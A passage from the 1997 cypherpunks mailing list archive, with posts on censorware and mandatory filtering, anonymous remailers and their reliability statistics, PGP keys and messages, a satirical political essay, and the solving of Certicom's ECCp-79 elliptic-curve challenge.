From: "Jeanne A. E. DeVoto" <jaed@best.com>
Date: Mon, 8 Dec 1997 15:23:06 +0800
To: "Vladimir Z. Nuri" <ashapiro@interport.net>
Subject: Re: NYTimes oped: Federal laws better than censorware
In-Reply-To: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net>
Message-ID: <v0300780eb0b14b89fed3@[206.163.124.184]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:48 PM -0800 12/7/97, Vladimir Z. Nuri wrote:
>I still don't understand why it is "censorship" when any
>company can come up with any software that rates sites
>according to any scheme, and anyone can choose to use
>any package, or ignore the software altogether. there is total freedom
>in all of this.

If that were all that were going on, no one would argue with it.

The problem arises when government bodies require use of a particular
filter (as in libraries), or require publishers to attach derogatory labels
to the information they publish (as in too many trial balloons for me to
list). These are abuses of freedom, and if you pay attention, you'll see
that such applications of filter and labeling programs receive the lion's
share of vocal opposition.

There are a couple of subsidiary problems - one is that current filterware
is, not to put too fine a point on it, terrible to the point of
constituting fraud on the consumer; another is with the issue of minors'
rights to access information they need, and the limits that parents and
schools must observe in restricting those rights while still fulfilling
their responsibilities. Current filterware would still be criticized -
rightly so - even if it weren't being used for censorship. But the fact is
that it is being so used.

Someday, perhaps the threat of censorship-via-filters will go away and we
can spend less time discussing them.

--
Morning people may be respected, but night people are feared.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Mon, 8 Dec 1997 18:29:33 +0800
To: cypherpunks@cyberpass.net
Subject: Please Decrypt Me
Message-ID: <3.0.3.32.19971208021553.0069fa58@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5

hQEMA0wZBVdR1dnXAQf/b0qVGE9torp1Tpix+5xuBzhAVmLU59vxww0WucQf/60T
wFjVoAieYwrufykAKq7+qxuMQPB/gEcJHy0ab6xx7pfJRdFdndrM6xc7+C4f/MFP
vuhqsyqZhURzi1+7R7PiNnIN0XgYL6w9pnjsXkHvxBi0SPnD+qGwAmR020O+BpwG
E1VdwPj/k8wFmq42w/znWTamk1gi0PTh9+5pZ7SaSXHoYcHCI6xIj+GdQzRdkiMs
8F80eNXfynbjceZe7+ElRx6Ete3YA1VaKDROXh5A2Ts8jxWFLXFyA8xDKbFYfRQb
TEA1/wSpPcFZ+GmrpfCB0/15nVZ5xjjMfR4Jtws+VqUD3eH3ma7iem2JspXwiMFp
zqG1bXJMVNfbKvVqGv7fTfTPsz8/QoP1yzPVOyBEJj1XUDAAv1orgDEm0EGBKjDR
UJXleLXLL8/q3dWRcpjvkQchfucm6hB4THc7r5OAUThmiesjXgxzPj2nUw/TGg4Z
s2uBmOjiPeCLwMLUvIqqY5J8SLv3wnUa41aasgLivb82ZMMeAXMWET3rR+uooYx+
VFsICbFBFJmHf02haRtSnZMMhVsoT1nxfOvYn6Nh5ZAyjlgqHvkPzcnFjpK/AXd6
IePzLbhIuwBsWHtsa85ScA57Ojk+UH04y0zbXIUhv8dDdrHFlk+5DLGwHLUE6RAN
+T8WvdKerGhI3hZn6y37+lvCOu0rRBzNkPLhgmuB7Woy7zfCIPRQiiTNN3XOMj+3
/ZJ4GzcuPBon3sqjXpD7YlUythEUFDiw+kxKu1MNTcTSMVG6Sfnx/jaOiNcWy6Sj
5rxpFQtzywjgXb0LzQxcSspq3D0MlNr42yloYdekhTEFk3z95tReXHOfIjsutB39
lG9OdgBot1fX6o+njj7olOh8ckx7TIOuwDZhvHLuc7+KbLNZErnHakktjDypgHLJ
bAe5ZB8Rh+/roIOQJT3N64eCSZctDJMcacvkNeFSnbTc+3a8CB6YViZRYtxRqNo9
gHbjdHNY4jl+z/kDgHnjrH6Yx3hg7R7ypJf5xZUqkwbMW8jAmKvM6dDHg6h87Li8
enjZrOSFaHjgxyYBjVE/cY6SAj4KHrk721mXp+GbnuRt4azs8c43Pe2MgANozzuM
Ft/EN3rSz38CaVwyyhz547DEPPrCDOqED1OCy4OPpous3h+IxYTDJ6RVWHADBDi9
BUr0hQX21uXtN/xi8dFpUsVZE2QqS6PbOVxyPgbr3DV6rHGrb6qfmuuawJ8cvQnw
UuKJn0YMUqHRo8DFWUeXvKwHev0ckNdKusFyZ79tytgIgwo75OqrgE4lwbCfONmA
0jvSOgcQwSJJbfXLRTkAFj9QQ4wxbtv3NJGGZEHapXF6Mm3GLlbx2BAzmvimtvE1
Dm/SjrCLZZoHK48nibsmPHWSSxBJ8QclXj/1FdqOrR6I2/XmvfOeBgFehMy/1GTw
AExFgxqe+BV97aqHmaAwlAeDtGAGcK1VXc6CSXzjWwoaNwXDyzV17eFLoUnCcAhM
xXBSu5cIvB7u5QOGkU8U2aLTFmnwtkPxRz8mcBhmjlnodLl7wJbav/EYiQaWAFAD
zy2SLPlXAV5lQE4JTYycwBIgIYKDac+xYiHldDzNOyAODXa+3Je23cAsDt1qdUMl
oCAB+I6//TOyH0Wjkcck
=+4AE
-----END PGP MESSAGE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Mon, 8 Dec 1997 10:57:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Singapore & Freedom
Message-ID: <c602dcea8c6a12c556e551f4ca2b5fe7@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



Harish Pillay <harish@brokat.com.sh> wrote:
>Interesting that you hide behind an anomymous name and you claim to
>be outside Singapore.  I for one, will stand by my name and say that
>things I should say about this country of mine (warts and all) and
>not have to hide behind anonymity (not that I would not use anonymity
>ever :-)).

Typical.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 8 Dec 1997 09:34:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New key
Message-ID: <199712080128.CAA16001@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin writes:
>Some readers have suggested that my El Gamal key values were not
>chosen correctly.  My previous key used a random large prime, but
>Schneier suggests choosing one with a guaranteed large prime factor
>("Applied Cryptography", section 11.6).
>
>To correct that I offer a new El Gamal key which I will use for
>signing:

It is somewhat ironic that you would create a key on this particular
weekend.  I trust you will not mind if I use the older key.  Probably
anybody with the resources to crack it has something worthwhile to
say. ;-)  (Caught that little trick in the selection of g.  Cute!)

I'll try to maintain the high standards you've set for the key,
although it is likely these efforts will fall short.  I've admired
your well thought out, informative, and modest posts for some time
now.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: New key
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
E1344393323DFFFD78D9745F8A826F5EF9AA28C0
-3F0 3F0
6669CE2A6565DA07C36257C406C946229A2FE2D639123E0E48069723951175920BA8AE7571BB8E7F8A8DB2B9B46982AB514AFF058EAD4AAF4DD9957217050F8E7385952B79017BE2B40475477D618A50AB145D1B06462D20B34677A6624A573AF17B429A4D6E38E04CDA64C87AA44080EFC9AB47558CFDFCE108D4B03E82E72FE067F61EED1F96C0C20FEDA0308E6B89D856AED23C7D0B0B638D036E4584E4C0C14A0180861362BA3FAE8D888E656759DDE94007AAF25C31619BE9330E882C9AEFE0B4DA7A9FB4AE742DE77B7A5EAE262DD69EF8941D87737667BC07A2A08E5E573151992DD35C3521473EA4E6199E27E9444D6B9A18618299837643E01CB2B3
18D56038290D31FC952F97E09A6AB4FB39DB7BB4445DF37F7DF0E53EE58F891AE781D0EB595AAAF32CA2FDD051EDA715843CCC77B89FEEAC0237D50C4D63BD6FB62E33B7EFD8E197013282E3E983E4D9066A6428954DDDF3F74613F8197729D3F1EC3DAD701266992155BAE443F042F6A015165C6FA5D5EEBEE638495D24AA27C70F58DEF248D93AF00D90E57E19AA52A629ABE2010642D4BE44968A020F988393B9E57A9D69F8F0367949F58B88FAE889F96B2169089E11C5BD2582F9E9A8524F28F96A697F83C723016521A2DB26F00F71B8ADF2DC9A95732CBDDB31E7E2CFF72E6698FD55105D820A08D70A9EE755CF1BFC1CFD7A389DA936869B04C1DF77







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 8 Dec 1997 17:29:48 +0800
To: cypherpunks@Algebra.COM
Subject: Quick Response Team in sg?
Message-ID: <eoZicfm120yEzXCdt8S9cA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



From:             Mail Administrator<Postmaster@vang.pacific.net.sg>
Send reply to:    Mail Administrator<Postmaster@vang.pacific.net.sg>
Subject:          Mail System Error - Returned Mail
> This Message was undeliverable due to the following reason:
> 
> The following destination addresses were unknown (please 
> check the addresses and re-mail the message):
> 
> SMTP <harish@brokat.com.sg>
> 
> Please reply to Postmaster@vang.pacific.net.sg
> if you feel this message to be in error.

Hmmmmm.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 8 Dec 1997 23:07:05 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199712081450.GAA24078@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 8 Dec 1997 22:14:47 +0800
To: cypherpunks@toad.com
Subject: CypherPunk Post of the Century [WAS: Get your hand off that <delete> button. Now!] [WAS: It's beginning to look a lot like...Donald?]
Message-ID: <348BFD7B.136A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: isthisamistakeoratrick@theshadow.nose

Nobody said:
{Honest! Nobody said it, so I made it up and added quote marks so I
 wouldn't look like I was responding to my own post. If you'll check
 the archives, you'll find even Tim May _didn't_ say the following:}

> I have refused to vote Republican for President ever since their
> unconscionable travesty wherein they dropped the superior candidate,
> the monkey, and ran Ronnie RayGuns for the position.
> The die (no pun intended) has been set for the next Presidential
> election, with Clinton being politically assassinated, and Gore
> getting Clinton all over him (as opposed to vice-versa in a physical
> assassination).
> I have already made my quadra-annual vow not to vote for Donald Duck
> for President again, but the muckers in power just won't give me a
> reasonable option.
> Oh, well. At least I can still say I'm an animal rights activist.

  FREEZE! Get your finger off of that <Delete> button, and slowly
back away from the keyboard...

  After subjecting the subscribers to the CypherPukes and Flight-from-
Censorship lists to multiple spams of an Eldridge cleaverly disguised
and disgusting on-topic post, I thought it would be appropriate to
make amends by wrapping myself in the state flag with the python on
it and writing "The History of the Present : A CypherPunk Perspective."
{Originally titled, "Everything You Wanted To Know About Freedom and
 Privacy, But Were Imprisoned For Asking."}

  First, allow me to point out that those who believe my disclaimers
that my posts are meaningless may possibly be even bigger fools than
those who believe list posts which claim to be packed with meaning.
  It's a tough call...
  There are list subscribers who provide spoon-fed information for
those who are busy and important and don't have time to think
(executive sheeple?), but (Young and Hettinga both being classical 
examples) the pressure of faking sanity eventually gets to them
and they snap into an acid-flashback condition that results in
posts containing existential poetry or advertisements for grits.
  I, on the other hand, help balance the lists by beginning at a
point of total blathering, and work my way slowly toward sanity
and reason. The fact that I rarely succeed at this indicates to
me that my posts are usually not long enough to complete the
process, so I will endeavor to ramble on endlessly in this missive,
for the eventual benefit of the person who is still reading this
post. (Me?)

AN INFOWAR FAIRY TALE: Ode to Bianca
Once upon time there was a woman with breasts so beautiful that
men would try to grab them at every opportunity, with only an
honored few being allowed to touch them (as a result of recognizing
that she had an equally beautiful brain).
The woman worked in a computer industry dominated by young men who had
spent so much time cloistered among their machines that they did not
know much about humans, and almost nothing about women, including the
fact that women are all witches.
Thus, the beautiful witch was able to trick the owners of protruding 
hardware into exposing their secret things to her, so that she was able
to follow the bytes as they metamorphisized into software. 
These men were powerful lions of the computer industry, drawing their 
great strength from their long mane-frames, little suspecting that a 
female systems analyst, with a heritage that taught her how to use 
scissors to cut efficiently and shape the results into a new form of 
clothing, might cut off the long locks from which they drew their 
strength, while they were sleeping, and weave them into a wig of many 
colors, enabling her to let down her hair, thus allowing her secret 
lovers  to climb up to the tower of the computer master's castle.

THE REQUISITE 'MORAL OF THE STORY':
'Tit men' are unlikely to notice if Lady Godiva is riding a Trojan
(pardon the pun) Horse.

"Am I a Freeh, dreaming I am a Zimmermann, or Zimmermann, dreaming
 I am Freeh?"
     ~ Phil Dunkelberger, 
       General Manager, 
       Total Nework Security Division,
       Network Associates

"As long as we have Kim Philby defending our country, Communist
 Americans can sleep safely at night."
     ~ J. Eggbert Hoover

"Be afraid. Be very afraid..."
     ~ Huge Cajones, 
       Addressing the 'Global Society of Unelected Secret Committees'

"Why The Government Wants Our Guns"  by John Young
-----------------------------------
http://www3.phillynews.com/packages/somalia/nov16/rang16.asp

"Why The Government Wants Our Keys"  by Tim C. May
-----------------------------------
The Feds have shown their hand: they want a ban on domestic cryptography

"Why Privacy is Dangerous in the Hands of Non-Chinese-Communist
 American Citizens Who Don't Make Major Campaign Contributions"
---------------------------------------------------------------
             From: softwar@us.net (SOFTWAR)
One example of Reno's conflict is the Clinton China Crypto Scam.
It was Reno's Justice Anti-Trust Division that authorized the
merger of a major company backed by a big donor to the DNC.  The
companies, RSA and Security Dynamics, sought the merger in 1996
just after RSA Chairman James Bidzos signed a memo of
understanding to perform "encryption research" with China.  The
donor, Sanford Robertson, paid $100,000 to the DNC just prior to
the merger. 
Of course, Mr. Robertson's investment firm made a cool two million
dollars on the merger deal, spurred in part by the lucrative
RSA contract with the PRC.

Pro-Crypto-Export Bumper-sticker:
"Export Free Speech and Privacy, Not Jobs!"

Anti-Domestic-Crypto Bumpersticker:
"Free Speech and Privacy Kill Molested Children With Terrorist Bombs."

  It's comforting to know that my right to speak freely and privately
in Mandarin Chinese is not being abridged...
  It's discomforting to realize that George Orwell was an optomist...

  Anybody notice that PGP 5+ 'offers' to upload your newly created
key _before_ it adds it to your keyring? 
  Everybody realize that 'VoluMandatory Offer' == 'Requirement'?
Anybody doubt the future of key generation <--> key registration?

  My point?
  Those who wish to 'fight-censorship' had better be prepared to start
fighting 'dirty'...as well as fighting 'underground'.
  If you think I'm kidding, reflect for a moment on why the Chinese
Communists are being allowed increasing access to strong encryption
while censorship fighting CypherPunks are becoming subject to an
increasing number of laws restricting domestic strong encryption.
  i.e. - The Chinese Communists do not fit the profile of domestic
terrorists, as reported recently on the list--they don't quote the
Constitution and Bill of Rights and speak out against big government.

The Bottom Line:
Big Brother is going Global. The PowerMongers are not just dividing
up the financial spoils among themselves, they are also beginning
to divide up the humans and human rights among themselves.

You can already be imprisoned in Alabama for your web site in Utah.
It will not be long before you can be imprisoned in Germany for
your web site in Alabama.

The government is building their backdoors. Individuals who value
their freedom and privacy need to do the same. The government is
arming themselves with meatspace and cyberspace weaponry. Ibid.

Don't be alarmed...be armed!
Be very armed...

Toto
~~~~
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn
"God's Canadian Hate Page"
http://www3.sk.sympatico.ca/carljohn/godhate/godhate.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 9 Dec 1997 01:18:12 +0800
To: cypherpunks@toad.com
Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit
Message-ID: <Pine.GSO.3.95.971208090732.9564B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



[What was that the IFEA folks were saying last week? Oh, yes, I remember: 
by building systems like PICS you also create an irresistable temptation
for Congress to make them mandatory. --Declan]



                                 Business Wire

                            December 5, 1997, Friday

DISTRIBUTION: Business/News Editors & High-Tech Writers

LENGTH: 486 words

HEADLINE: Child-Safety Advocate Calls on Congress to Mandate Parental
Software on All Computers Sold in U.S.

DATELINE:  LOS ANGELES

BODY:
   Dec. 5, 1997--Saying that we must protect children from the dangers of
sexually explicit material on the Internet, a leading child-safety advocate
Friday called on Congress to enact legislation to mandate that every
computer sold in the United States by 1999 be outfitted with parental
software that can block out sexually explicit or adult Web sites.

    Jayne Murphy Shapiro, founder and president of KIDS SAFE, an
organization dedicated to protecting children against sexual molestation,
is writing all members of Congress to express her concerns about the
dangers of the Internet and her goal to make the Internet online experience
safe, educational and entertaining for chldren.

    Shapiro, who attended the Internet Online Summit in Washington this
week and met with government officials and community activists from across
the country, said, "Mandating that computer makers install screening
software will give parents new power to control what material young
children are exposed to.

    "Our proposal would require manufacturers to install computer software
in new computers to allow parents to block Internet sites considered too
violent or obscene for their children.  The easy-to-use filtering software
would allow parents, educators and employers to screen the Internet,
providing an alternative to government censorship."

    Shapiro pointed out that KIDS SAFE does not believe in censorship of
the Internet, but rather in the common goal of protecting the First
Amendment and the Internet so it can be used for free expression, education
and commerce.

    Current software on the market allows for an Internet site to be
blocked if it meets the following guidelines: 1) a disclaimer indicating
restricted access; and 2) a screen or warning that identifies the site as
adult-oriented or containing information unsuitable for those underage or
the publisher has requested that his/her site be blocked.

    "Screening software, coupled with parental responsibility, enables
parents to make informed decisions about what Internet sites their children
can enter," said Shapiro.  "Parental responsibility, with the help of the
screening software, can be a major step in curtailing the needless exposure
to
inappropriate Web sites that plague the Internet." -0- NOTE: Jayne Murphy
Shapiro, president of KIDS SAFE, is available for comments on this or any
other child-safety issues.



------

                        The Record (Bergen County, NJ)

                    December 4, 1997; THURSDAY; ALL EDITIONS

SECTION: OPINION; Pg. L10

LENGTH: 618 words

HEADLINE: PEDOPHILES IN CYBERSPACE ;
WE MUST STOP CHILD PORNOGRAPHY ON THE INTERNET

BYLINE: The Record

BODY:
   THE increasing presence of child pornography on the Internet is a
national problem that must be dealt with aggressively and quickly. This is
not a free-speech or First Amendment issue. Child pornography is a crime.
We do not tolerate it in our communities, and we should not
tolerate it in cyberspace.

   Unfortunately, as a Page One article in The Record pointed out
yesterday, cyberspace is tailor-made for the dissemination of child
pornography. It allows pedophiles instant access to explicit photos in the
privacy of their own homes, and it gives distributors and collectors enough
anonymity to avoid getting caught and being prosecuted.

   In fact, the anonymity and the ease of finding sexually
explicit material involving children on the Internet may have actually
broadened the audience for child pornography. And law enforcement
officials worry that this could in turn lead to increased child sexual abuse.

   Vice President Al Gore has been leading a campaign to make the
Internet safe for children. This week, he announced a new partnership
between Internet service providers and the Justice Department in an
effort to crack down on child pornography, and a toll-free hot line to
report any suspected incidents of child sexual exploitation.

   America Online also announced its cooperation."When child
pornography is appropriately brought to our attention and we have
control over it, we will remove it,"AOL Chairman Steve Case said.

   But law enforcement officials, computer experts, and child
advocates say it's not that easy, by any means. Even if AOL cooperates, a
great deal of child pornography is found on chat rooms hosted by
hundreds of much smaller providers, who are loathe to police themselves
because of liability or censorship concerns, or because they don't have the
staff to do so.

   The Record's article also pointed out that most law enforcement
officials are not knowledgeable enough to track down child pornography
distributors, who are experts at disguising themselves on the Internet and
finding new ways to fool monitors. Law enforcement officials may
also lack the manpower needed to track down pedophiles."If we go on

line undercover for one night,"one investigator said,"we're busy for
two weeks, getting warrants and records."

   Many more"cybercops"are needed at the federal, state, and
local levels who have the expertise to keep one step ahead of child
pornographers, and much more manpower and training is needed.

   In New Jersey, state Sen. Andrew Ciesla, R-Brick, has
introduced a bill that would create a high-tech crimes and investigation
support unit for the state police. The measure, which should be
approved, would set aside $ 400,000 for the unit to investigate computer
crimes, including child pornography on the Internet, and create a
24-hour toll-free state hot line for reporting anything suspicious.

    Alerting the authorities is a key component of this crackdown,
and Mr. Gore also announced a national"Cybertip"hot line to report
suspicious on-line activity related to child pornography. The number is
(800) 843-5678.

   The vice president is to be commended for seeking ways to stop
these ugly predators. But this effort must be more than just lip
service. It will take time to find the most effective ways to crack down on
child pornography on the Internet, but the quest should take on
increasing urgency, given all the evidence that the problem is growing.

    In the meantime, intense pressure should be brought to bear on the
Internet industry, which can make a huge dent in this particularly vile
cybercrime by aggressively policing itself.

----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Trei, Peter" <ptrei@securitydynamics.com>
Date: Mon, 8 Dec 1997 22:27:25 +0800
To: "'cryptography@c2.net>
Subject: ECCp-79 challenge cracked
Message-ID: <6B5344C210C7D011835C0000F80127668B1587@exna01.securitydynamics.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm enclosing two messages from sci.crypt:

Peter Trei

------------------------------------------------------------------------
First message

On sci.crypt Volker Mueller <vmueller@cdc.informatik.tu-darmstadt.de>
wrote:
>[...] Maybe the problem  is not so easy. The biggest  DL computation
for an
>elliptic curve was  a 19 digit  prime order computation (up to my
>knowledge).  The first Certicom "exercise"  has 79 bits or 24 decimal
>digits.
>
>Cheers,  Volker

You're right, the so-called "exercise"  was not so easy!

However a few Alphas and some optimised code got through it
eventually.  I just posted the following to Certicom...

-- Rob.

PS: Any volunteers willing to dedicate Alpha CPU time for cracking the
    next challenge?  With a bunch of machines it would be a piece of
cake!


------------------------------------------------------------------------
------
This message is copyright Robert J. Harley, 1997.
If you wish to quote more than one sentence, please quote the whole
thing.

To: certicom-ecc-challenge@certicom.com

                                        Robert J. Harley,
                                        Se`vres, France,
                                        6th of December, 1997.

Dear Anonymous,

Certicom's professed aim in setting its ECC challenge is to encourage
research into secure cryptosystems based on elliptic curve discrete
logarithms.  Yet Certicom is a member of the Key Recovery Alliance, a
lobby group whose purpose is to promote the use of back-doors allowing
supposedly secure communications to be intercepted.  How are these
contradictory positions reconciled?

The solution to your ECCp-79 problem is the residue class of
92221507219705345685350 modulo 466597814831947642887217.  It was found
by Wayne Baisley and myself using several Digital Alpha workstations
running Linux and Digital Unix at the Institut National de Recherche
en Informatique et Automatique (INRIA), at Fermi National Accelerator
Laboratory and at the California Institute of Technology
C.S. Department.

The method used was a "birthday paradox" algorithm iterating from a
random initial point (one per machine) with a random function (the
same on all machines) until a collision was detected at 17:58 today at
INRIA, Rocquencourt, France by a 500MHz Linux machine.  This machine
did 25 billion elliptic curve operations per day.  The peak rate of
all machines was approximately 6 six times as much.  A total of about
1400 billion iterations were performed.

If this is the first correct submission, please send the prize (a copy
of "Handbook of Applied Cryptography" and Maple software) to the
following address:

  Robert Harley,
  c/o Sylvie Loubressac,
  Projet CRISTAL,
  INRIA,
  Domaine de Voluceau - Rocquencourt,
  78153 Le Chesnay,
  France.


Thank you,
  Rob.
     .-.                     Robert.Harley@inria.fr
.-.
    /   \           .-.                                 .-.           /
\
   /     \         /   \       .-.     _     .-.       /   \         /
\
  /       \       /     \     /   \   / \   /   \     /     \       /
\
 /         \     /       \   /     `-'   `-'     \   /       \     /
\
            \   /         `-'                     `-'         \   /
             `-'  Linux + 500MHz Alpha + 256MB SDRAM = heaven  `-'
------------------------------------------------------------------------
------

------------------------------------------------------------------------
----------------------------------------------
Second message:


From:         Dimitris Tsapakidis <dimitris@alien.bt.co.uk>
Date:         1997/12/08
Message-ID:   <348BDD10.B5B2E641@alien.bt.co.uk>
Newsgroups:   sci.crypt
[More Headers]


Hello Robert,

Congratulations on your effort. We would like to post some
information on our attempt at BT Labs. We found the private key
after you at 19:58 GMT on Sunday the 7th. We only completed 481
billion ECC operations at a peak rate of 84 billion per day using
170 to 210 machines.

A couple of months ago we contributed 180-250 machines to the
distributed.net/Bovine group attack on RC5-56, peaking at
60 million keys/sec.

  Dimitris





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
